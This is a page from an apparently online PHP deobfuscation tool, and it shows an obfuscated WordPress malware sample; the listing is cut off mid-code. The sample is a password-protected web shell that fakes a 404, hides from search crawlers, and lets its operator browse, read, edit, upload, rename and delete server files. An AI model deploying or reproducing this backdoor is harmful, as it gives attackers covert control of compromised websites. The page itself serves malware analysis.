Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php goto IGSCJ; BVHD0: HLL9s: goto Mk2Bg; qbvcW: Cw1cF: goto FiZJO; fwlHR: exit; goto xYpld; sCS5s: if (is_dir(Li2T9($_GET["\161"]))) { goto evGBl; } goto pNth6; HLpx8: if (!($_COOKIE["\160\x77\137\156\141\x6d\145\x5f\x33\62\x35\66\x30"] == $qMjvD)) { goto Cw1cF; } goto S356z; o898V: if (!(!emp...



Obfuscated php code

view sourceprint?
1<?php
2 goto IGSCJ; BVHD0: HLL9s: goto Mk2Bg; qbvcW: Cw1cF: goto FiZJO; fwlHR: exit; goto xYpld; sCS5s: if (is_dir(Li2T9($_GET["\161"]))) { goto evGBl; } goto pNth6; HLpx8: if (!($_COOKIE["\160\x77\137\156\141\x6d\145\x5f\x33\62\x35\66\x30"] == $qMjvD)) { goto Cw1cF; } goto S356z; o898V: if (!(!empty($_GET["\x72"]) && isset($_GET["\161"]))) { goto e5yPB; } goto LnHvc; CISFG: goto ehpwL; goto p54ma; fUFMw: echo "\74\160\76" . htmlspecialchars(basename($_FILES["\146\151\x6c\145\x54\157\125\160\x6c\x6f\x61\x64"]["\156\x61\x6d\145"])) . "\40\x68\x61\x73\40\x62\145\x65\156\40\165\160\154\157\141\144\x65\x64\56\x3c\57\x70\x3e"; goto CdApe; GdwjI: function cGQvo($pR6nX) { goto E3DB8; Vx_yf: return str_replace($weGlE, $GphUO, $pR6nX); goto iD5oR; gYraY: $GphUO = array("\340\246\225", "\340\xa6\226", "\340\xa6\x97", "\xe0\246\x98"); goto Vx_yf; E3DB8: $weGlE = array("\57", "\x5c", "\x2e", "\x3a"); goto gYraY; iD5oR: } goto G3g3d; aQNt_: AbcLL: goto m5Z9r; b492T: $c1YIo = array(); goto l4vZG; GC_cG: $Avb14 = AR3z_ . "\x2f" . $_GET["\x65"]; goto affeA; pNth6: goto tsNir; goto vwLKK; S356z: $r12B4 = true; goto qbvcW; l4vZG: foreach ($Grocd as $MuxN4) { goto DZkXs; xtfhZ: hfgV5: goto gzdqD; ElDmB: goto AvmED; goto i47qd; B3qct: if (is_file($qcVWk)) { goto agBAk; } goto ABYuL; I200M: if (is_dir($qcVWk)) { goto hfgV5; } goto B3qct; GUck4: $qcVWk = AR3z_ . "\x2f" . $MuxN4; goto I200M; ABYuL: goto ZPIMt; goto xtfhZ; reY3x: goto ZPIMt; goto kmoWc; DZkXs: if (!($MuxN4 == "\56" || $MuxN4 == "\x2e\56")) { goto hv7bo; } goto ElDmB; bF3y8: array_push($c1YIo, $MuxN4); goto JRwbc; JRwbc: ZPIMt: goto Z2E1Q; gzdqD: array_push($umqNg, $MuxN4); goto reY3x; i47qd: hv7bo: goto GUck4; kmoWc: agBAk: goto bF3y8; Z2E1Q: AvmED: goto cqE5D; cqE5D: } goto kNUuO; yZ81V: aajOt: goto EPMHQ; cOGts: if (!isset($_POST["\145\144\151\164"])) { goto lnxRc; } goto GC_cG; T6CNz: YbSac: goto LrOkI; KuiwG: kyA5D: goto CISFG; tbJh4: $a8V2R = __DIR__; goto O80E9; BBrRk: goto tsNir; goto rIpXM; RJF_O: $CYrgw = AR3z_ . "\x2f" . $_GET["\x64"]; goto L2i7W; igUtV: if (rmdir($CYrgw) == true) { goto sFxlX; } goto vdlXP; C2vHp: bvxWQ: goto UOTnY; xYpld: lwst9: goto c7M8D; XYyd7: setcookie("\x70\167\x5f\156\141\x6d\145\137\x33\x32\65\66\60", $_POST["\160\x77\137\156\x61\x6d\x65\x5f\63\x32\x35\x36\x30"]); goto mH_2P; hNMMm: npYAi: goto fVfnY; ylwXz: echo "\x3c\x73\x63\162\151\x70\164\x3e\141\x6c\145\x72\x74\x28\x27\x52\x65\x6e\141\155\145\x64\56\x27\x29\73\40\167\151\156\x64\x6f\x77\56\x6c\157\143\141\x74\x69\157\156\56\162\x65\160\x6c\141\143\145\x28\x27\x3f\x70\x3d" . CGqvo(AR3z_) . "\47\x29\x3b\74\57\x73\143\x72\x69\160\164\x3e"; goto ChR_i; WqWUG: function wTVdE($trDrF) { goto ZHTpm; W4mrX: if ($trDrF >= 1024) { goto yMEDq; } goto HyO4M; y_uzN: VTC4I: goto SQZFr; SQZFr: $trDrF = number_format($trDrF / 1073741824, 2) . "\x20\x47\x42"; goto GFfWo; yIerD: $trDrF = $trDrF . "\40\x62\171\x74\x65"; goto zxi62; TNgNF: goto E_sKf; goto y_uzN; WGan3: goto E_sKf; goto N3P4n; KW5T0: $trDrF = $trDrF . "\x20\142\x79\x74\x65\x73"; goto qebIc; xYuXS: $trDrF = "\x30\40\x62\171\x74\145\x73"; goto TNgNF; GFfWo: goto E_sKf; goto gUf5M; OI0Ff: if ($trDrF == 1) { goto zisna; } goto xYuXS; wCFie: $trDrF = number_format($trDrF / 1024, 2) . "\40\x4b\x42"; goto TIjPv; vYoUj: if ($trDrF >= 1048576) { goto W94Vu; } goto W4mrX; ivzSJ: BoHMn: goto KW5T0; qebIc: goto E_sKf; goto qWuHV; zxi62: E_sKf: goto PH0jO; TIjPv: goto E_sKf; goto ivzSJ; PH0jO: return $trDrF; goto Id0ni; N3P4n: yMEDq: goto wCFie; ZHTpm: if ($trDrF >= 1073741824) { goto VTC4I; } goto vYoUj; HyO4M: if ($trDrF > 1) { goto BoHMn; } goto OI0Ff; gUf5M: W94Vu: goto aVpYn; qWuHV: zisna: goto yIerD; aVpYn: $trDrF = number_format($trDrF / 1048576, 2) . "\40\115\x42"; goto WGan3; Id0ni: } goto ckqQQ; i1Wnp: xOFBd: goto XznyG; O1gH9: $o43YN = explode("\57", $pR6nX); goto K7357; yey_g: define("\x41\122\63\x7a\x5f", $Trrv8); goto ffJjJ; Mk2Bg: echo "\xa\x3c\x21\x44\117\x43\x54\x59\x50\x45\40\150\x74\155\154\x3e\12\x3c\150\x74\155\154\x20\154\x61\156\147\x3d\42\x65\x6e\42\76\xa\74\150\145\141\x64\76\xa\40\x20\x20\40\x3c\x6d\x65\164\x61\40\x63\150\141\162\163\x65\164\x3d\42\x55\124\106\x2d\70\42\76\12\x20\40\x20\x20\74\155\145\164\141\40\x68\164\x74\160\x2d\x65\161\165\151\x76\x3d\x22\130\55\125\x41\55\x43\157\155\x70\141\x74\151\142\x6c\145\42\x20\143\157\156\164\x65\x6e\164\x3d\42\x49\x45\x3d\x65\144\147\x65\x22\x3e\xa\x20\40\40\40\x3c\x6d\x65\x74\x61\x20\x6e\x61\x6d\x65\x3d\x22\166\151\x65\167\160\x6f\x72\x74\x22\x20\143\x6f\156\164\x65\156\x74\75\42\x77\x69\144\164\150\x3d\x64\145\166\x69\143\145\55\167\151\144\164\150\54\40\x69\x6e\151\164\151\x61\x6c\55\163\143\141\x6c\145\x3d\x31\x2e\60\42\76\xa\40\x20\40\40\x3c\x6c\x69\156\x6b\x20\x68\162\145\x66\75\42\150\164\164\160\163\x3a\57\x2f\x63\x64\156\56\152\163\144\145\154\151\x76\x72\x2e\x6e\x65\x74\x2f\156\x70\155\57\142\x6f\x6f\x74\x73\x74\x72\x61\x70\100\x35\x2e\63\56\60\55\x61\154\x70\x68\141\61\x2f\144\151\x73\x74\x2f\x63\x73\x73\57\142\157\157\164\163\x74\162\x61\160\56\x6d\x69\156\56\143\163\x73\x22\x20\x72\145\x6c\75\42\x73\x74\171\154\145\163\150\x65\145\x74\x22\12\40\40\x20\40\40\x20\x20\40\40\x20\x69\x6e\x74\145\147\x72\x69\164\x79\75\x22\x73\150\141\63\x38\x34\55\107\114\x68\x6c\124\x51\x38\x69\122\x41\x42\144\x5a\x4c\154\66\x4f\63\x6f\x56\115\127\123\153\x74\x51\117\x70\66\x62\x37\111\x6e\x31\x5a\x6c\63\57\x4a\x72\x35\x39\x62\66\105\107\x47\157\111\61\141\106\153\167\67\x63\x6d\x44\101\x36\152\66\147\104\42\x20\x63\162\x6f\x73\163\x6f\162\x69\x67\151\156\x3d\x22\x61\x6e\x6f\x6e\171\x6d\157\x75\x73\x22\x3e\12\40\x20\x20\40\x3c\x6c\151\x6e\x6b\x20\162\145\x6c\x3d\x22\163\164\x79\154\145\x73\x68\x65\145\164\x22\x20\x68\x72\145\146\75\42\x68\164\x74\x70\163\72\57\57\x63\144\156\x6a\x73\x2e\x63\x6c\157\165\x64\146\154\x61\162\x65\x2e\x63\157\x6d\57\141\x6a\141\170\57\154\151\142\x73\x2f\146\157\156\164\x2d\x61\x77\x65\163\157\x6d\x65\57\66\56\63\x2e\x30\57\143\x73\163\x2f\x61\154\154\56\155\151\x6e\56\143\163\163\42\xa\40\40\40\40\40\40\40\x20\40\x20\x69\156\164\x65\147\x72\x69\164\x79\x3d\x22\x73\x68\141\65\61\62\x2d\123\x7a\154\x72\170\x57\x55\x6c\160\x66\x75\172\x51\53\160\143\125\x43\157\163\x78\x63\147\154\x51\x52\x4e\x41\x71\57\x44\x5a\x6a\126\163\103\x30\x6c\105\x34\x30\x78\163\x41\x44\x73\146\145\x51\x6f\x45\x79\x70\x45\53\145\x6e\x77\x63\x4f\151\107\x6a\153\57\x62\123\x75\x47\107\113\x48\105\171\152\x53\157\121\61\x7a\x56\x69\163\x61\x6e\x51\x3d\75\x22\xa\x20\40\x20\x20\40\40\40\40\x20\40\143\x72\x6f\163\x73\x6f\x72\x69\147\x69\x6e\x3d\42\141\x6e\157\x6e\171\155\157\165\163\x22\x20\x72\145\x66\x65\x72\x72\145\x72\x70\157\154\151\143\171\75\42\156\x6f\x2d\162\145\x66\145\162\162\145\x72\x22\x20\x2f\x3e\xa\74\x2f\150\145\x61\x64\x3e\12\74\x62\157\x64\171\40\x73\164\x79\x6c\145\75\42\40\167\x69\x64\x74\x68\72\x20\66\x30\x25\x3b\40\155\x61\162\147\151\x6e\72\x20\60\x20\141\x75\164\157\73\x22\x3e\xa"; goto WqWUG; e7Pk6: echo "\74\163\x63\x72\x69\160\x74\76\x61\x6c\x65\162\x74\50\x27\x44\x69\162\x65\143\164\157\x72\x79\x20\162\x65\155\x6f\166\x65\144\x2e\x27\x29\73\x20\167\x69\156\x64\x6f\x77\56\x6c\157\x63\141\164\151\157\156\56\162\x65\160\154\x61\x63\x65\50\x27\x3f\160\75" . cGQvO(AR3z_) . "\47\x29\73\x3c\x2f\x73\x63\162\x69\x70\x74\x3e"; goto Zsfhy; Shol0: echo "\74\163\143\x72\x69\x70\x74\x3e\141\154\x65\162\x74\x28\47\123\141\166\x65\x64\56\47\x29\73\x20\x77\x69\156\144\157\x77\x2e\x6c\157\x63\x61\x74\151\157\156\x2e\x72\145\160\x6c\x61\143\145\50\x27\x3f\160\x3d" . CgQvO(AR3z_) . "\x27\51\73\74\x2f\x73\x63\162\151\x70\164\x3e"; goto x2O6d; affeA: $c1Qmo = $_POST["\144\141\164\x61"]; goto U51NY; d2sdm: echo "\74\160\76\x53\157\x72\162\x79\x2c\40\x74\x68\x65\162\145\40\167\x61\x73\40\141\156\40\x65\162\x72\x6f\x72\x20\x75\160\154\157\141\144\x69\x6e\147\x20\x79\157\x75\162\x20\x66\151\x6c\x65\56\x3c\57\x70\76"; goto goGHY; QQPd0: echo "\74\x73\x63\162\151\160\x74\x3e\x61\154\x65\162\164\x28\x27\123\157\155\x65\40\x65\x72\x72\x6f\x72\40\x6f\143\x63\165\162\162\x65\144\x2e\x27\x29\x3b\40\167\151\x6e\144\x6f\167\x2e\154\x6f\143\141\164\x69\x6f\156\56\x72\145\x70\154\x61\143\145\50\x27\77\160\x3d" . cgqvO(AR3z_) . "\x27\51\x3b\x3c\x2f\163\x63\162\x69\160\x74\76"; goto OjePX; o5L6s: iOcJP: goto L_0yw; vwLKK: J2kFH: goto GPJsY; K5JCU: if (!empty($_GET)) { goto kmKjS; } goto c4JU3; TIFCm: if ($r12B4) { goto HLL9s; } goto vYl_e; SG1vQ: foreach ($c1YIo as $X3g9R) { echo "\x20\40\40\x20\x3c\x74\x72\76\xa\x20\x20\40\40\x20\x20\40\x20\x20\x20\x3c\x74\x64\x3e\74\141\40\163\x74\x79\x6c\x65\75\x27\x74\x65\x78\x74\55\x64\x65\x63\x6f\x72\141\x74\151\x6f\x6e\72\x20\x6e\x6f\156\145\73\47\x20\164\151\164\x6c\145\75\47\46\43\x33\62\65\x33\x34\73\46\x23\x33\66\67\x35\x33\73\x27\x20\x68\162\145\x66\75\x27\x3f\161\75" . urlencode(CGQVo(AR3z_)) . "\x26\x65\75" . $X3g9R . "\47\76" . qWHsM($X3g9R) . $X3g9R . "\74\57\x61\76\x3c\x2f\x74\x64\76\12\40\x20\40\x20\x20\40\x20\x20\40\x20\x3c\x74\144\76" . WTVDE(filesize(AR3z_ . "\57" . $X3g9R)) . "\x3c\x2f\x74\144\x3e\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\74\x74\x64\76" . date("\x59\x2d\155\55\x64\40\110\72\x69\72\x73", filemtime(AR3z_ . "\57" . $X3g9R)) . "\74\57\164\144\x3e\xa\x20\40\x20\40\40\40\x20\x20\40\40\x3c\164\x64\x3e\60" . substr(decoct(fileperms(AR3z_ . "\x2f" . $X3g9R)), -3) . "\74\x2f\141\x3e\x3c\x2f\x74\x64\x3e\12\x20\x20\40\40\x20\40\x20\40\40\x20\x3c\x74\144\76\xa\40\40\x20\x20\40\40\40\x20\40\x20\x3c\141\x20\164\x69\x74\154\x65\x3d\x27\46\x23\63\62\x35\63\64\73\46\x23\x33\x36\67\x35\63\x3b\x27\x20\x68\x72\145\x66\x3d\x27\77\161\75" . urlencode(CgqvO(AR3z_)) . "\x26\x65\x3d" . $X3g9R . "\47\x3e\x3c\151\40\143\154\141\x73\x73\75\47\x66\141\x2d\x73\x6f\x6c\x69\x64\x20\x66\141\55\146\151\x6c\x65\55\x70\145\x6e\x27\76\74\57\151\x3e\x3c\x2f\141\x3e\12\40\x20\x20\x20\x20\40\40\40\40\40\74\x61\x20\x74\151\x74\154\145\x3d\x27\x26\43\63\x37\x33\62\x35\x3b\46\43\62\66\x30\x33\62\x3b\x26\x23\62\x31\66\x32\71\x3b\46\x23\x32\61\x35\61\x37\73\x27\40\150\162\x65\146\x3d\x27\77\161\75" . urlencode(cGqVO(AR3z_)) . "\x26\x72\75" . $X3g9R . "\47\76\x3c\151\x20\x63\154\141\x73\163\75\x27\x66\x61\x2d\163\x68\x61\x72\160\x20\x66\141\55\x72\x65\x67\x75\x6c\x61\x72\x20\146\141\55\x70\x65\156\55\164\x6f\55\x73\x71\165\141\x72\145\x27\x3e\x3c\x2f\151\76\74\57\141\x3e\xa\40\40\x20\x20\40\40\40\x20\40\40\74\141\40\164\151\x74\x6c\x65\x3d\x27\x26\x23\x32\x31\60\x32\64\x3b\x26\43\x33\x38\x35\x30\x30\73\47\40\x68\x72\145\x66\x3d\47\77\161\75" . urlencode(cgQVo(AR3z_)) . "\x26\144\75" . $X3g9R . "\47\76\74\151\40\143\x6c\x61\x73\163\75\47\146\x61\x20\146\141\x2d\164\162\141\x73\x68\47\x20\x61\x72\151\x61\x2d\150\x69\144\144\x65\x6e\x3d\x27\x74\x72\x75\x65\x27\x3e\74\x2f\x69\76\x3c\x2f\x61\x3e\12\40\40\x20\40\40\40\x20\40\40\40\74\164\144\x3e\12\40\x20\40\40\x3c\x2f\164\x72\x3e\xa"; x7csl: } goto mOYLK; Tult0: herTw: goto mXDLZ; Jfv21: e5yPB: goto oQNCb; g32bP: jQqXU: goto SG1vQ; c7M8D: n1IjE: goto fsGT4; F5iLn: gxD3Z: goto yey_g; AmeVs: if (isset($_GET["\160"])) { goto YbSac; } goto K5JCU; GPJsY: echo "\74\163\143\162\x69\160\164\x3e\167\151\156\x64\157\x77\x2e\x6c\x6f\143\x61\164\151\x6f\156\56\x72\145\x70\154\x61\143\145\50\47\x3f\160\75\x27\51\x3b\74\57\x73\143\162\151\x70\x74\76"; goto BBrRk; dVo3E: $FQORL = array("\107\x6f\x6f\147\x6c\145", "\123\154\165\162\160", "\x4d\x53\x4e\102\157\164", "\151\x61\137\x61\162\x63\x68\x69\x76\x65\162", "\x59\x61\x6e\x64\145\x78", "\x52\141\155\142\x6c\x65\x72"); goto R71rH; LFUUK: if (!($_POST["\x70\x77\137\156\141\155\x65\x5f\63\x32\65\66\x30"] == $qMjvD)) { goto wvVxP; } goto XYyd7; KhjFu: echo "\12\40\x20\x20\40\74\146\x6f\x72\155\40\155\x65\164\150\157\x64\75\x22\160\x6f\x73\x74\42\x3e\xa\40\40\40\x20\40\40\40\x20\74\x74\x65\x78\x74\x61\x72\145\141\x20\163\x74\171\x6c\x65\75\x22\x68\145\x69\147\x68\164\x3a\x20\x35\x30\x30\160\170\73\12\40\x20\x20\x20\40\x20\x20\x20\167\151\144\x74\x68\x3a\40\x31\x30\60\x25\x3b\x22\40\x6e\141\155\x65\x3d\x22\144\x61\x74\x61\x22\x3e" . htmlspecialchars(file_get_contents(AR3z_ . "\x2f" . $_GET["\145"])) . "\74\57\164\x65\x78\x74\141\x72\145\x61\x3e\xa\40\40\x20\40\x20\x20\x20\40\74\142\x72\76\xa\40\x20\40\40\x20\x20\40\x20\74\151\156\x70\x75\164\x20\164\171\160\145\75\42\x73\x75\x62\x6d\151\164\42\40\143\x6c\141\163\163\75\x22\x62\x74\x6e\40\x62\x74\156\x2d\144\141\x72\x6b\x22\40\156\141\155\145\75\42\x65\144\151\164\x22\x3e\12\40\x20\40\40\74\57\x66\x6f\x72\155\76"; goto cOGts; oQNCb: kO9Zo: goto Wgauv; LvD4e: Ukpwt: goto a0EHk; XznyG: if (!isset($_GET["\x75\x70\154\x6f\x61\144"])) { goto jZWbD; } goto fTUxn; vYnQb: if (!isset($_GET["\x72"])) { goto kO9Zo; } goto o898V; oc082: o9Wd4: goto fUFMw; NkYr4: if (!(!empty($_GET["\x65"]) && isset($_GET["\161"]))) { goto MwHlp; } goto KhjFu; ZEtUT: if (rename($CYrgw, AR3z_ . "\x2f" . $_POST["\x6e\x61\155\145"])) { goto DSj2P; } goto QQPd0; BT5xS: $O8i0o = AR3z_ . "\57" . $_FILES["\146\151\154\x65\x54\x6f\125\160\x6c\157\x61\144"]["\156\141\155\145"]; goto Jszxm; lA1MW: goto zje3a; goto E_kIa; Zsfhy: zje3a: goto EbSIa; ckqQQ: function BuVLf($X3g9R) { return substr(strrchr($X3g9R, "\56"), 1); } goto mUvfd; kNUuO: CoLa5: goto wnCbF; mOYLK: XBzMl: goto SSEFZ; CsB5X: foreach ($umqNg as $uVxe2) { echo "\x20\x20\x20\x20\x3c\x74\x72\76\xa\x20\40\x20\x20\x20\40\74\x74\x64\x3e\74\151\x20\143\x6c\x61\x73\x73\x3d\47\146\141\x2d\163\157\x6c\151\x64\x20\146\x61\55\146\157\x6c\x64\x65\162\47\x3e\74\x2f\x69\76\40\x3c\x61\40\150\162\x65\146\75\47\77\x70\x3d" . urlencode(CgqVo(AR3z_ . "\57" . $uVxe2)) . "\x27\x3e" . $uVxe2 . "\74\x2f\141\x3e\x3c\57\x74\x64\x3e\12\x20\x20\x20\x20\40\40\x3c\164\x64\x3e\74\142\x3e\55\55\55\74\57\x62\x3e\74\57\164\x64\x3e\12\x20\x20\40\x20\40\x20\x3c\x74\144\x3e" . date("\131\55\x6d\55\144\x20\x48\72\151\x3a\163", filemtime(AR3z_ . "\57" . $uVxe2)) . "\x3c\57\164\x64\x3e\xa\x20\40\40\x20\40\x20\x3c\164\x64\x3e\x30" . substr(decoct(fileperms(AR3z_ . "\57" . $uVxe2)), -3) . "\74\x2f\x61\76\74\57\x74\144\x3e\xa\x20\40\x20\40\40\40\74\164\x64\x3e\12\40\40\x20\40\x20\x20\x3c\141\x20\164\x69\x74\x6c\145\75\47\46\x23\x33\67\63\x32\x35\x3b\x26\43\62\x36\x30\x33\x32\x3b\46\x23\62\x31\66\x32\x39\x3b\x26\x23\x32\x31\65\61\x37\73\47\40\150\162\145\x66\75\x27\x3f\161\75" . urlencode(cGqvO(AR3z_)) . "\46\x72\x3d" . $uVxe2 . "\47\x3e\74\x69\40\143\154\141\x73\163\x3d\47\x66\141\55\163\x68\x61\162\x70\40\x66\141\55\162\x65\147\165\154\141\162\40\x66\x61\55\160\145\156\55\164\157\x2d\163\x71\x75\141\162\x65\47\76\74\57\151\x3e\74\57\141\76\xa\x20\x20\40\40\40\40\x3c\x61\40\x74\151\164\154\145\x3d\x27\x26\x23\62\61\60\x32\x34\x3b\x26\x23\63\70\65\x30\60\x3b\x27\40\x68\x72\145\146\75\47\x3f\x71\x3d" . urlencode(cgqVO(AR3z_)) . "\x26\144\x3d" . $uVxe2 . "\47\x3e\x3c\x69\40\143\x6c\141\163\x73\75\x27\x66\x61\40\x66\141\55\164\162\141\163\150\x27\40\141\162\151\x61\x2d\150\151\x64\144\x65\x6e\x3d\x27\164\162\165\x65\47\76\74\57\151\x3e\74\57\141\x3e\xa\40\40\40\x20\40\x20\74\x74\144\76\12\40\x20\x20\x20\74\57\164\x72\76\xa"; JRHIF: } goto g32bP; U7Ywd: goto cBJ4c; goto rO1TK; YE_UX: http_response_code(404); goto L9P2u; lPUFR: $Trrv8 = $a8V2R; goto QTzIE; TWcS4: DSj2P: goto ylwXz; Kt5wG: goto sTrPY; goto Tult0; cIrem: KXjDH: goto BPp6G; ro2fx: goto xOFBd; goto T6CNz; fsGT4: $r12B4 = false; goto dOcfu; UOTnY: echo "\x3c\163\143\162\x69\x70\164\76\12\141\154\x65\x72\x74\50\x27\104\x69\x72\x65\x63\x74\157\x72\x79\x20\151\163\40\x43\157\x72\162\165\x70\x74\145\144\40\x61\x6e\144\40\125\x6e\x72\x65\x61\x64\x61\142\154\145\56\x27\51\73\12\167\151\156\x64\x6f\x77\x2e\x6c\157\143\x61\164\x69\157\x6e\56\162\145\160\154\141\143\x65\50\x27\77\x27\x29\73\xa\74\57\163\143\x72\x69\x70\x74\x3e"; goto Kt5wG; LrOkI: if (!is_readable(AR3z_)) { goto oTHVY; } goto sI3Dt; EbSIa: cBJ4c: goto cIrem; mH_2P: $r12B4 = true; goto TDLdF; K7357: foreach ($o43YN as $FmWtM => $d7WgP) { goto KKLpE; IBe3N: echo "\x3c\x61\x20\x68\162\145\146\x3d\47\77\160\75"; goto X4rWg; reWT9: $weGlE = true; goto msoBw; y0jab: EEJ0a: goto IBe3N; WvfCi: urVvA: goto GaCLr; E4Lth: goto Hwxrl; goto y0jab; msoBw: echo "\74\x61\40\150\x72\145\x66\75\x22\x3f\x70\75\57\42\76\57\x3c\x2f\141\76"; goto rmYHg; X4rWg: $wcl_R = 0; goto h6zYs; FDLdH: Hwxrl: goto jUb_A; O2aFk: goto iX00T; goto WvfCi; h6zYs: iX00T: goto zTUaO; x9mxn: hQbPj: goto rtHZV; KKLpE: if (!($d7WgP == '' && $FmWtM == 0)) { goto RB7xS; } goto reWT9; GaCLr: echo "\47\x3e" . $d7WgP . "\x3c\x2f\x61\x3e\x2f"; goto FDLdH; fMrw_: if (!($wcl_R != $FmWtM)) { goto hQbPj; } goto T23v6; SKiJ6: $wcl_R++; goto O2aFk; T23v6: echo "\340\xa6\x95"; goto x9mxn; RYUYY: RB7xS: goto rTj0R; d48Kw: echo str_replace("\x3a", "\340\xa6\x98", $o43YN[$wcl_R]); goto fMrw_; rTj0R: if (!($d7WgP == '')) { goto EEJ0a; } goto E4Lth; zTUaO: if (!($wcl_R <= $FmWtM)) { goto urVvA; } goto d48Kw; rmYHg: goto Hwxrl; goto RYUYY; rtHZV: PwkAK: goto SKiJ6; jUb_A: } goto yZ81V; e0DRd: if (is_dir(li2T9($_GET["\x70"]))) { goto herTw; } goto s7Pv6; L9P2u: $qMjvD = "\x30\64\x65\61\x65\x36\146\141\70\x33\x38\145\x37\x66\67\x62\x35\x66\62\x32\x32\x30\x39\70\x63\x33\142\141\143\x35\144\146"; goto uRiza; Q75Vz: fclose($mnmsN); goto dLrs7; vYl_e: die("\74\146\157\162\x6d\x20\141\143\x74\x69\157\x6e\75\x27\77\160\x3d\x27\40\x6d\145\x74\x68\157\144\x3d\x70\x6f\x73\164\x20\76\x3c\x69\x6e\160\x75\x74\40\x74\x79\x70\x65\75\x70\x61\163\163\167\157\162\x64\40\x6e\x61\155\145\75\47\160\167\137\156\x61\155\x65\137\x33\x32\65\66\x30\x27\x20\x76\141\x6c\165\145\x3d\47" . $_GET["\160\x77"] . "\47\x20\40\x72\145\x71\x75\x69\x72\145\x64\76\74\x69\156\x70\x75\164\40\x74\171\160\x65\x3d\163\x75\142\x6d\x69\x74\40\156\x61\155\x65\75\47\167\141\x74\x63\x68\151\156\147\x27\x20\x3e\74\57\146\x6f\162\x6d\76"); goto BVHD0; BiyhT: echo "\x3c\163\143\x72\151\x70\x74\x3e\x61\x6c\145\162\164\50\x27\x53\157\155\145\40\x65\162\162\x6f\x72\40\157\x63\143\x75\162\162\145\x64\x2e\x27\51\x3b\40\x77\x69\156\144\x6f\167\x2e\154\157\143\x61\164\151\x6f\x6e\x2e\x72\145\x70\154\x61\x63\x65\50\x27\77\160\x3d" . cgQVO(AR3z_) . "\47\x29\x3b\x3c\x2f\x73\x63\162\151\x70\164\76"; goto Kh1Ej; rO1TK: HgwhR: goto igUtV; SSEFZ: echo "\40\40\74\x2f\x74\x62\x6f\x64\171\x3e\12\x3c\57\164\141\142\x6c\145\x3e"; goto i1Wnp; Kh1Ej: goto R4ucl; goto vdbWQ; ieovW: jZWbD: goto vYnQb; tEiqy: if (fwrite($mnmsN, $c1Qmo)) { goto DrCFM; } goto BiyhT; XbCpv: if (empty($_GET["\160"])) { goto bu8LW; } goto hA35e; tkIC5: PAE_T: goto XbCpv; B2rqH: echo "\12\74\164\x61\142\x6c\145\x20\143\154\x61\163\163\75\42\x74\141\142\x6c\145\x20\164\x61\142\x6c\145\x2d\150\157\x76\145\x72\x22\x3e\12\40\x20\74\x74\x68\x65\x61\x64\76\xa\x20\40\x20\x20\x3c\164\x72\x3e\12\x20\40\40\40\40\x20\74\x74\x68\x20\163\x63\157\160\145\75\x22\x63\157\154\42\x3e\x26\x23\62\x31\x35\x31\x37\73\x26\x23\x33\61\x32\x31\66\73\74\57\164\x68\76\12\x20\x20\40\x20\x20\40\74\x74\x68\x20\163\143\157\x70\x65\75\x22\x63\x6f\154\x22\x3e\46\x23\62\x32\x38\x32\x33\73\x26\43\x32\x33\x35\66\67\x3b\x3c\57\164\150\76\xa\x20\40\x20\40\40\x20\x3c\x74\150\x20\x73\x63\157\x70\145\75\x22\143\x6f\x6c\42\76\x26\x23\x32\x36\61\60\62\x3b\46\x23\63\x38\63\x38\70\x3b\74\57\x74\x68\76\12\x20\40\40\x20\x20\40\74\x74\x68\40\x73\143\157\x70\145\75\42\x63\x6f\x6c\42\76\x26\x23\62\66\x34\x33\x35\73\46\x23\63\x38\64\70\x30\73\x3c\x2f\x74\150\x3e\12\40\x20\x20\x20\40\40\74\x74\150\x20\x73\x63\157\x70\145\x3d\42\143\157\x6c\42\x3e\x26\x23\62\65\x38\x30\x35\x3b\x26\43\62\60\63\x31\x36\73\x3c\x2f\x74\x68\76\12\x20\x20\x20\40\74\57\164\x72\76\12\40\x20\74\x2f\164\x68\145\141\x64\x3e\xa\x20\x20\74\x74\142\x6f\144\x79\x3e\12"; goto CsB5X; vdbWQ: DrCFM: goto Shol0; E_kIa: sFxlX: goto e7Pk6; lbsoK: $pR6nX = str_replace("\x5c", "\x2f", AR3z_); goto O1gH9; xOyYW: goto cBJ4c; goto hNMMm; m5Z9r: echo "\74\163\143\x72\x69\x70\x74\x3e\141\154\145\x72\164\x28\47\106\x69\x6c\145\x20\162\x65\155\157\166\145\144\56\x27\x29\x3b\40\x77\x69\156\x64\x6f\167\x2e\x6c\x6f\143\141\x74\151\157\156\56\x72\145\x70\154\x61\x63\x65\x28\x27\77\x70\x3d" . CgQvo(AR3z_) . "\47\51\x3b\x3c\x2f\x73\x63\162\x69\160\x74\76"; goto jzZuM; O80E9: if (isset($_GET["\160"])) { goto PAE_T; } goto VRMcE; AVRUu: if (!isset($_POST["\x70\x77\x5f\x6e\x61\155\x65\x5f\x33\62\65\x36\x30"])) { goto kyA5D; } goto LFUUK; x2O6d: R4ucl: goto Q75Vz; ffJjJ: echo "\xa\74\x6e\x61\166\40\x63\x6c\x61\163\163\x3d\42\x6e\x61\x76\x62\x61\162\x20\x6e\x61\x76\142\141\162\x2d\154\151\x67\150\x74\x22\x20\163\164\x79\154\145\75\x22\x62\141\143\153\x67\x72\157\x75\x6e\x64\55\x63\x6f\154\x6f\162\x3a\x20\x23\145\x33\146\x32\146\x64\73\42\76\12\x20\40\74\x64\151\x76\x20\143\154\141\163\x73\75\x22\x6e\141\166\142\x61\162\x2d\x62\x72\141\x6e\x64\42\76\xa\40\x20\x3c\141\40\150\x72\145\x66\75\x22\77\x22\x3e\x3c\151\x6d\x67\x20\x73\x72\143\x3d\42\150\164\x74\x70\163\x3a\x2f\57\147\x69\x74\x68\165\x62\x2e\143\157\155\57\146\154\165\151\144\x69\x63\157\x6e\56\160\156\x67\x22\40\x77\151\144\164\150\x3d\x22\63\60\x22\40\x68\145\x69\x67\x68\164\75\x22\63\60\x22\40\141\x6c\164\x3d\x22\42\76\x3c\57\141\x3e\xa"; goto lbsoK; OjePX: goto GBopV; goto TWcS4; q9jC5: sTrPY: goto T6C7e; Xtq7r: MwHlp: goto LvD4e; PuqW_: if (!isset($_POST["\x72\145\156\x61\x6d\x65"])) { goto UZVct; } goto cWLf8; U51NY: $mnmsN = fopen($Avb14, "\167"); goto tEiqy; dLrs7: lnxRc: goto Xtq7r; LnHvc: echo 